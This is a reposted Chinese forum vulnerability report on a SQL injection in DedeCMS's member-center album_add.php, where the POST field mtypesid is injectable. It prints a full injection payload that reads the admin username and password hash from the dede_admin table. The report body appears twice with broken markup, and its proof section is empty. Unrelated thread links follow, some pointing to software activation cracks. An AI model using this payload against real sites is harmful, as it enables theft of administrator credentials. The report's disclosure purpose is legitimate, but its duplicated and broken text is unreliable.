Dedecms会员中心album_add.php页面SQL注入漏洞
简要描述：[p=25, null, left]注册和关注wooyun好久了，dedecms一处注入，较鸡肋，之前变量覆盖的漏洞太轰动了，所以一直没发出，之前5月份最新版本测试的，目前最新版本应该是没修复的
漏洞需要会员，所以比较鸡肋啦[/p]详细说明：[p=25, null, left]发表文章处，post表单的mtypesid可以注入
/dedecmsnew/member/album_add.php
注入的代码：
mtypesid=1'),("'",'0','1367930810','p','0','2','-1','0','0',(SELECT concat(userid,0x5f,pwd,0x5f) FROM dede_admin where userid='admin'),'',
'','12333','','','1367930810','1367930810','4','image','test','3')#@`'`'
[/p][p=25, null, left]
[/p]
漏洞证明：
[p=25, null, left][/p]
漏洞需要会员，所以比较鸡肋啦[/p]详细说明：[p=25, null, left]发表文章处，post表单的mtypesid可以注入
/dedecmsnew/member/album_add.php
注入的代码：
mtypesid=1'),("'",'0','1367930810','p','0','2','-1','0','0',(SELECT concat(userid,0x5f,pwd,0x5f) FROM dede_admin where userid='admin'),'',
'','12333','','','1367930810','1367930810','4','image','test','3')#@`'`'
[/p][p=25, null, left]
漏洞证明：
[p=25, null, left]
评论
发新帖
作者最近主题
相关贴子
- SEO如何做URL路径优化？
- 现在找个模板都不好找
- 【好东西】懿菲云VIP影视YY直播2.08
- 七招方法教你如何发布外链
- 实战网站被K的解决办法
- 祛痘吧吧求友链
- 服务器装什么操作系统好？
- 转：民审K星客，一在采取封论坛账号，强制不然发声，你是在害怕吗？
- 重装原版系统必备工具(Win10 Win7激活工具/Office 2016 RTM 激活工具)
- 网站采集器 v2.0 Beta
- 你还在做竞价吗？如果是 那你就是out了？
- 城通网盘解析工具|不再为广告烦恼
- 网络新闻对企业的意义及方案
- 淘宝美工PS图片后期处理产品修图精修教程电商设计站酷周大杰视频
- Facebook团队关于网页缓存的再实践
- 站长用香港服务器还是国内服务器好呢？
- 做百度百科外链和百度文库外链一定要知道的
- 网站权重对于网站的重要性
- Dubsry论坛求友链
- 热度